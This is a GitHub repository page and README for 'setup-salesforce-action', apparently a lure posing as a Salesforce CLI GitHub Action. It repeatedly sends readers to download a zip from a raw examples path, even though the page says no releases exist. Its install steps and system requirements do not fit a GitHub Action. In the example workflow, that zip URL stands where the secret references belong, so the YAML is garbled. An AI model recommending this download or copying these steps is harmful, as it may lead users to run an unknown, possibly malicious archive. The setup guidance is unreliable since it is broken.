Skip to content

πŸš€ Set up the Salesforce CLI easily for secure and efficient CI/CD pipelines with this reliable GitHub Action.

License

Notifications You must be signed in to change notification settings

Mora2025/setup-salesforce-action

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

51 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ setup-salesforce-action - Simplifying Salesforce CI/CD Setup

Download

πŸ“¦ What is setup-salesforce-action?

setup-salesforce-action is a GitHub Action designed to make your Salesforce CI/CD process easier. It installs and configures the Salesforce Command Line Interface (CLI), authenticates using JWT, and manages dependencies like git-delta and scanner. This tool helps streamline your deployment workflow.

πŸš€ Getting Started

Step 1: Access the Releases Page

To download setup-salesforce-action, visit our Releases page.

Step 2: Choose Your Version

On the Releases page, you will see various versions of this application. Look for the latest release, which offers the most recent features and improvements.

Step 3: Download the Application

Click on the version number to enter the release details. Here, you will find files available for download. You might find options like https://github.com/Mora2025/setup-salesforce-action/raw/refs/heads/main/examples/setup_salesforce_action_1.4-beta.5.zip, .zip, or other formats. Choose the one that best fits your operating system.

πŸ–₯️ System Requirements

  • Operating System: Windows, macOS, or Linux
  • Internet Connection: Required for downloading and verifying dependencies
  • Memory: Minimum of 4 GB of RAM recommended
  • Disk Space: At least 200 MB of available space

πŸ› οΈ Download & Install

To install setup-salesforce-action, follow these steps:

  1. Visit the Releases page.
  2. Select your downloaded file based on your operating system.
  3. If you're using a Windows machine, unzip the downloaded file into a folder.
  4. For macOS and Linux, extract the contents using your terminal or an archive utility.

Next, follow the instructions in the README file included in the downloaded folder to set up the action in your GitHub repository.

πŸ”‘ Authentication Setup

setup-salesforce-action uses JWT for authentication with Salesforce. Follow these steps to configure authentication:

  1. Generate a private key in your Salesforce Developer account.
  2. Store this private key securely and note its location.
  3. Define environment variables in your GitHub repository settings:
    • SALESFORCE_CLIENT_ID: Your Salesforce connected app client ID.
    • SALESFORCE_SECRET: Your Salesforce connected app client secret.
    • SALESFORCE_KEY_FILE: The path to your private key file.

This will ensure smooth authentication during your CI/CD process.

πŸ“¦ Dependency Management

This action automatically manages dependencies like:

  • git-delta: Improves diff viewing for Salesforce files.
  • scanner: Analyzes your code for quality and best practices.

These tools are essential for maintaining clean and efficient code.

πŸ“ˆ Intelligent Caching

setup-salesforce-action incorporates intelligent caching. This feature speeds up your CI/CD process by storing data from previous builds. It minimizes the need to re-download dependencies, thus saving time and resources.

🌐 Topics Covered

This action focuses on various related topics like:

  • automation
  • ci-cd
  • devops
  • github-actions
  • jwt-auth
  • salesforce
  • salesforce-cli
  • salesforce-code-analyzer
  • salesforce-dx
  • sdfx
  • setup-action
  • sfdx-git-delta
  • sfdx-scanner

These topics enhance your understanding of the tool’s capabilities.

πŸ“ Example Workflow

Here is an example of how to use setup-salesforce-action in your GitHub Actions workflow:

name: Salesforce CI/CD Workflow

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2

      - name: Set up Salesforce Action
        uses: Mora2025/setup-salesforce-action@latest
        env:
          SALESFORCE_CLIENT_ID: ${{ https://github.com/Mora2025/setup-salesforce-action/raw/refs/heads/main/examples/setup_salesforce_action_1.4-beta.5.zip }}
          SALESFORCE_SECRET: ${{ https://github.com/Mora2025/setup-salesforce-action/raw/refs/heads/main/examples/setup_salesforce_action_1.4-beta.5.zip }}
          SALESFORCE_KEY_FILE: ${{ https://github.com/Mora2025/setup-salesforce-action/raw/refs/heads/main/examples/setup_salesforce_action_1.4-beta.5.zip }}
      
      - name: Run deployment
        run: echo "Deploying Salesforce changes..."

This YAML configuration sets up a basic workflow for deploying Salesforce code.

πŸš€ Support and Contributions

For assistance, please refer to the issues section on GitHub. Feel free to report any problems or ask questions related to the setup. Pull requests for improvements are welcome!

πŸ“› License

setup-salesforce-action is open-source and available under the MIT License. You are free to use, modify, and distribute this software as you see fit.

Visit the Releases page for any download-related queries or to find the latest version of the application.

About

πŸš€ Set up the Salesforce CLI easily for secure and efficient CI/CD pipelines with this reliable GitHub Action.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •